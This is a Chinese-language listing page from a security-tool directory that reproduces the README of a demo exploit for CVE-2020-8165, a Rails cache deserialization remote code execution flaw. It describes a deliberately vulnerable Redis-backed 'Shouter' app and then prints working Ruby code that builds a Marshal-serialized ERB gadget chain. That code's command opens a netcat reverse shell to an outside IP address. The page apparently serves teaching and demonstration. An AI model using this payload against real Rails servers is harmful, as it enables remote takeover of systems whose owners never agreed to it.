Skip to content
KitploitKITPLOIT
工具博客
提交
工具博客
提交

黑客、渗透测试和网络安全工具,武装您的安全武器库!

Kitploit 是一个黑客、网络安全和渗透测试工具的目录。发现最新的项目更新,查找漏洞、分析系统、自动化测试并加强你的安全。

··订阅源·联系·隐私·© 2026 Kitploit

工具目录

分类

查看所有分类
Loading categories
cve-2020-8165-demo — 针对CVE-2020-8165 Rails反序列化远程代码执行漏洞的演示,使用逼真的Shouter应用,在Ruby中生成载荷,以及Redis缓存投毒。 | Kitploit
工具/GitHubGitHub/danielklim/cve-2020-8165-demo
漏洞分析漏洞利用Web应用程序漏洞利用渗透测试学习与教育Payload 开发
GitHubdanielklim/cve-2020-8165-demo

cve-2020-8165-demo

针对CVE-2020-8165 Rails反序列化远程代码执行漏洞的演示,使用逼真的Shouter应用,在Ruby中生成载荷,以及Redis缓存投毒。

查看仓库
115年前尚未审核

最受欢迎

查看全部 →

发现我们社区最常用的工具。

探索所有工具

浏览我们的工具集合

查看所有工具 →
分享

CVE-2020-8165 演示

又一个 CVE-2020-8165 的演示,但采用了比大多数更真实的实现。

背景

CVE-2020-8165

Rails < 5.2.4.3、Rails < 6.0.3.1 中存在一项反序列化不受信任数据的漏洞,可能允许攻击者在 MemCacheStore 和 RedisCacheStore 中解封用户提供的对象,从而导致远程代码执行。

参考资料

  • https://hackerone.com/reports/413388
  • https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2020-8165
  • https://nvd.nist.gov/vuln/detail/CVE-2020-8165
  • https://www.cvebase.com/cve/2020/8165
  • https://lab.wallarm.com/exploring-de-serialization-issues-in-ruby-projects-801e0a3e5a0a/

实现

“Shouter” 应用在其 Shout 模型中包含一个缓存功能,提交 shout 字符串时附带的可选图片会被缓存在 redis 中,并从缓存中获取而非数据库。由于使用了存在漏洞的 Rails.cache.fetch 方法与缓存交互,该应用易受 CVE-2020-8165 攻击,RCE 的结果会被放入仪表板路由中 img 标签的 src 属性中。

生成 RCE payload

以下代码片段将生成你需要通过 exploit.py 发送的 payload。序列化步骤中存在一些细微差别,需要解决才能完全用 Python 实现漏洞利用。因此,目前需要使用 Ruby 中的 Marshal.dump 来生成精确的 payload。

root@kitploit:~
cmd = "Thread.new{system('nc 172.17.188.169 3001 -e /bin/bash')}"
erb = ERB.allocate
erb.instance_variable_set(:@src, cmd)
erb.instance_variable_set(:@lineno, 0)
payload_raw = ActiveSupport::Deprecation::DeprecatedInstanceVariableProxy.new(erb, :result)
payload = Marshal.dump(payload_raw)
p payload
下载工具